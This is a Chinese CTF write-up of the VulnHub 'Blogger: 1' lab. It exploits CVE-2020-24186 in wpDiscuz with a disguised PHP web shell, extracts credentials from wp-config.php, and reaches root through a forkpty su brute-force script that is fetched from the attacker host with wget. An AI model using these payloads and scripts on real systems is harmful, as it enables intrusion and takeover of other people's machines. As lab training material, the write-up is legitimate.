跳到主要内容

VulnHub Blogger: 1 通关记录|wpDiscuz 未授权 RCE 与 vagrant 弱密码提权

靶机链接:Blogger: 1


0x01 基本信息

名称IP
Kali Linux192.168.1.113
Blogger: 1192.168.1.116

攻击流程

点击展开

攻击链摘要

阶段关键操作结果
服务发现RustScan → Nmap 识别 SSH + DNS + Apache确定 80 端口为主攻击面,SSH 仅 pubkey
目录爆破Gobuster → /assets/fonts/blog/发现隐藏的 WordPress 4.9.8
插件枚举curl 穷举插件路径(2 秒完成)wpDiscuz 7.0.4 + Akismet
初始 RCECVE-2020-24186 未授权文件上传GIF89a 伪装 PHP → www-data shell
User Flagcron 备份 /tmp/backup.tar.gz → Base64 解码flag{Y0u_D!D_17 :)}
横向移动forkpty 绕过 su TTY → vagrant:vagrant弱密码命中
Root 提权sudo su -(NOPASSWD: ALL)root shell + root flag

0x02 侦察与信息收集 (Reconnaissance)

1. 端口扫描

rustscan -a 192.168.1.116 -- -sV -sC -O -T4
Open 192.168.1.116:22
Open 192.168.1.116:53
Open 192.168.1.116:80
端口服务指纹
22/tcpSSHOpenSSH 7.2p2 Ubuntu 4ubuntu2.10仅 pubkey 认证
53/tcpDNStcpwrapped,version.server 2026.6.0,NSID ewr08
80/tcpHTTPApache/2.4.18 (Ubuntu)

注意: SSH 已禁用密码认证,排除直接暴力破解路线。DNS 为开放递归解析器,仅有一条 ubuntu-xenial.lan → 192.168.1.116 的 A 记录,无可利用区域传送。

2. Web 枚举

项目详情
服务器Apache/2.4.18 (Ubuntu)
前端框架Bootstrap 4.0.0
JS 库jQuery 2.2.3 + AOS + simpleLightbox + Waypoints
模板来源w3layouts.com — "Recognize" 模板
WAF
首页 (/)纯静态 HTML,Login/Register 仅为前端展示,无后端逻辑
gobuster dir -u http://192.168.1.116 -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://192.168.1.116 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,bak

Gobuster 在 /assets/fonts/blog/ 路径下发现了隐藏的 WordPress 站点。这是本靶机的关键发现:WordPress 被刻意藏在看似无关的静态资源路径中。

WordPress 配置中使用了 blogger.thm 域名。为了避免后续页面跳转、资源加载或 exploit 拼接 URL 时跑偏,先把域名写入 Kali 的 /etc/hosts

echo '192.168.1.116 blogger.thm' | sudo tee -a /etc/hosts

0x03 漏洞探测与分析 (Vulnerability Analysis)

1. WordPress 枚举

wpscan --url http://192.168.1.116/assets/fonts/blog/ --disable-tls-checks -e ap --no-update
项目详情
CMSWordPress 4.9.8 (2018-08-02, Insecure)
域名blogger.thm
主题Poseidon 2.1.1 (ThemeZee)
管理员j@m3s (slug: jm3s, ID: 1)
XML-RPC已启用
WP-Cron已启用
Upload Directory目录列表已开启
Readmereadme.html 可访问

2. 插件发现策略

wpscan 被动模式 --plugins-detection passive 未发现任何插件。原因是 wpDiscuz 仅在 post 页面通过 JS 动态加载,HTML 中无插件引用。

改用手动穷举常见插件路径,比 wpscan aggressive 模式快几个数量级:

for plugin in wpdiscuz akismet hello contact-form-7 wordpress-seo \
jetpack woocommerce wp-file-manager duplicator elementor \
w3-total-cache wordfence revslider; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
"http://192.168.1.116/assets/fonts/blog/wp-content/plugins/$plugin/")
[ "$code" != "404" ] && echo "[$code] $plugin"
done
[200] wpdiscuz
[200] akismet

13 个常见插件穷举 2 秒出结果。wpscan --plugins-detection aggressive 发出 121,121 个请求用了 35 分钟,结论一致但效率差了几个数量级。当被动模式失败时,优先用 curl 穷举高频插件列表。

3. 漏洞确认 — wpDiscuz 7.0.4

curl -s http://192.168.1.116/assets/fonts/blog/wp-content/plugins/wpdiscuz/readme.txt | head -6
# Stable tag: 7.0.4
searchsploit wpdiscuz
# php/webapps/49967.py — Remote Code Execution (CVE-2020-24186)
# php/webapps/49962.sh — Arbitrary File Upload (CVE-2020-24186)
# php/webapps/49401.rb — Unauthenticated File Upload (Metasploit)

CVE-2020-24186 漏洞原理:

wpDiscuz 7.0.4 的 AJAX 文件上传接口 wmuUploadFiles 存在三个缺陷叠加:

缺陷说明
仅客户端 MIME 检查前端 JS 限制 accept="image/*",服务端不做验证
无认证要求wmuSecurity nonce 从页面 JS 中提取即可,无需登录
任意文件上传PHP 文件加 GIF89a header 伪装 PNG,绕过 magic byte 检测

0x04 核心攻击链 (Core Attack Chain)

第一阶段:初始突破 — CVE-2020-24186 获取 Webshell

Exploit 选择

Exploit类型评价
49967.pyPython选用,自动提取 nonce + postId,参数少
49962.shBash硬编码 postId=18,不够灵活
49401.rbMSFMetasploit 模块

利用过程

searchsploit -m php/webapps/49967.py
python3 49967.py -u http://192.168.1.116/assets/fonts/blog -p "/?p=1"

执行流程:

① GET /?p=1
→ 从 JS 提取 wmuSecurity: "f7860b980a"
→ 从 JS 提取 wc_post_id: "1"

② POST /wp-admin/admin-ajax.php
→ action=wmuUploadFiles
→ wmu_nonce=f7860b980a
→ wmu_files[0]="<random>.php" (Content-Type: image/png)
payload: GIF89a;<?php system($_REQUEST['cmd']); ?>
→ postId=1

③ 响应: {"success":true,"data":{"url":"http://blogger.thm/.../hytwwxrwbtjbkia-1781490818.417.php"}}

上传的 Shell 内容:

GIF89a;
<?php system($_REQUEST['cmd']); ?>

验证 RCE

curl "http://192.168.1.116/assets/fonts/blog/wp-content/uploads/2026/06/hytwwxrwbtjbkia-1781490818.417.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

第二阶段:信息收集与 User Flag

1. wp-config.php 泄露

通过 Webshell 读取 WordPress 配置文件:

curl "...?cmd=cat /var/www/wordpress/assets/fonts/blog/wp-config.php"
define('DB_NAME', 'wordpress');
define('DB_USER', 'root');
define('DB_PASSWORD', 'sup3r_s3cr3t');
define('DB_HOST', 'localhost');

MySQL root 密码 sup3r_s3cr3t 获取成功,但 MySQL 以 mysql 用户运行(非 root),无法直接用于系统提权。

2. Cron 备份发现

curl "...?cmd=cat /etc/crontab"
PATH=/home/james:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
* * * * * root /usr/local/bin/backup.sh

backup.sh 内容:

#!/bin/sh
cd /home/james/
tar czf /tmp/backup.tar.gz *

该 cron 任务以 root 身份每分钟执行,将 james 家目录打包到 /tmp/backup.tar.gz。虽然 /home/james/user.txt 权限为 600(仅 james 可读),但 root 运行的 tar 可以无视权限,而 /tmp/backup.tar.gz 任何用户可读。

curl "...?cmd=cd /tmp && tar xzf backup.tar.gz && cat user.txt"
ZmxhZ3tZMHVfRCFEXzE3IDopfQ==
echo "ZmxhZ3tZMHVfRCFEXzE3IDopfQ==" | base64 -d
# flag{Y0u_D!D_17 :)}

3. 系统环境与提权线索

项目详情
操作系统Ubuntu 16.04.7 LTS (Xenial Xerus)
内核4.4.0-206-generic x86_64
Sudo1.8.16
pkexec0.105 (CVE-2021-4034 PwnKit 易受攻击)
User namespace已启用 (unshare -r 可用)
GCC未安装

SUID 二进制:

文件备注
/usr/bin/pkexec版本 0.105,CVE-2021-4034 备选
/usr/bin/sudo版本 1.8.16
/usr/bin/atSUID (daemon)
newuidmap/newgidmapSUID

第三阶段:横向移动 — su 弱密码爆破

用户枚举

cat /etc/passwd | grep bash
vagrant:x:1000:1000::/home/vagrant:/bin/bash
ubuntu:x:1001:1001::/home/ubuntu:/bin/bash
james:x:1002:1002::/home/james:/bin/bash

forkpty 绕过 su TTY 限制

su 命令要求 TTY 交互,而 Webshell 无法直接调用。用 Python 的 os.forkpty() 创建伪终端绕过此限制:

#!/usr/bin/env python3
"""su brute force using forkpty for TTY"""
import os
import time

users = [
("vagrant","vagrant"),
("ubuntu","ubuntu"),
("james","james"),
("james","sup3r_s3cr3t"),
("james","password"),
]

for user, pw in users:
try:
pid, fd = os.forkpty()
if pid == 0:
os.execvp('su', ['su', user, '-c', 'whoami; id; sudo -l 2>&1'])
else:
time.sleep(0.3)
try:
os.write(fd, (pw + '\n').encode())
except:
pass
time.sleep(0.5)
output = b''
try:
while True:
chunk = os.read(fd, 4096)
if not chunk:
break
output += chunk
except:
pass
os.waitpid(pid, 0)
print("=== {}:{} ===".format(user, pw))
print(output.decode('utf-8', errors='replace').strip())
except Exception as e:
print("=== {}:{} ERROR: {} ===".format(user, pw, e))

通过 HTTP 上传到目标并执行:

# 攻击机
cd /home/kali/wp/675
python3 -m http.server 9998 &

# 目标机 (Webshell)
curl "...?cmd=wget http://192.168.1.113:9998/su_brute.py -O /tmp/sb.py && python3 /tmp/sb.py"
=== vagrant:vagrant ===
vagrant
uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
Matching Defaults entries for vagrant on ubuntu-xenial:
(ALL) NOPASSWD: ALL

=== ubuntu:ubuntu ===
su: Authentication failure
=== james:james ===
su: Authentication failure

vagrant 用户密码即用户名,且拥有 (ALL) NOPASSWD: ALL 的 sudo 权限。

第四阶段:Root 提权

已知 vagrant 有完全 sudo 权限,使用同样的 forkpty 手法执行提权:

python3 -c "
import os,time
pid,fd=os.forkpty()
if pid==0:
os.execvp('su',['su','vagrant','-c','sudo su -c \"id; cat /root/root.txt\"'])
else:
time.sleep(0.3)
os.write(fd,b'vagrant\n')
time.sleep(0.5)
print(os.read(fd,4096).decode())
os.waitpid(pid,0)
"
uid=0(root) gid=0(root) groups=0(root)
flag{W311_D0n3_Y0u_P3n3tr4t3d_M3 :)}

0x05 最终成果 (Final Flags)

User Flag

  • 路径: /home/james/user.txt
  • 内容: flag{Y0u_D!D_17 :)}
  • 获取方式: root cron 任务将 james 家目录打包到 /tmp/backup.tar.gz,解压后 Base64 解码

Root Flag

  • 路径: /root/root.txt
  • 内容: flag{W311_D0n3_Y0u_P3n3tr4t3d_M3 :)}
  • 获取方式: su vagrantsudo su -

复盘总结

  1. 隐藏 WordPress 是第一道门槛。 首页是纯静态模板,WordPress 被藏在 /assets/fonts/blog/ 这种不会被自然访问到的路径。如果只用 common.txt 做目录爆破可能错过,需要 medium 级别词表或在 /assets/ 下递归扫描。

  2. wpscan 被动模式的盲区。 wpDiscuz 只在 post 页面通过 JS 动态加载,首页 HTML 中无任何插件引用,导致 wpscan 被动模式 0 发现。手动 curl 穷举 13 个高频插件名 2 秒就能定位,远比 aggressive 模式的 121,121 请求高效。

  3. CVE-2020-24186 的核心是 MIME 校验缺失。 服务端完全信任客户端 Content-Type,加上 nonce 可从页面公开 JS 中提取、无需认证即可调用上传接口,三个缺陷叠加形成未授权 RCE。

  4. cron tar 备份是 user flag 的唯一路径。 /home/james/user.txt 权限 600 且 www-data 无法直接读取,但 root cron 每分钟将其打包到 world-readable 的 /tmp/backup.tar.gz。不查 cron 就拿不到 user flag。

  5. 先查横向移动,再搞内核 exploit。 报告中一度陷入 pkexec、CVE 内核漏洞、cron hijack 等复杂方案,实际只需 grep bash /etc/passwd + 用户名=密码尝试 + sudo -l,vagrant 用户直接 (ALL) NOPASSWD: ALL,两步到 root。

  6. forkpty 是 Webshell 场景下 su 的标准解法。 Webshell 没有 TTY,su 会拒绝执行。Python os.forkpty() 创建伪终端是绕过此限制的轻量方案,不依赖额外工具,适合在目标机上直接运行。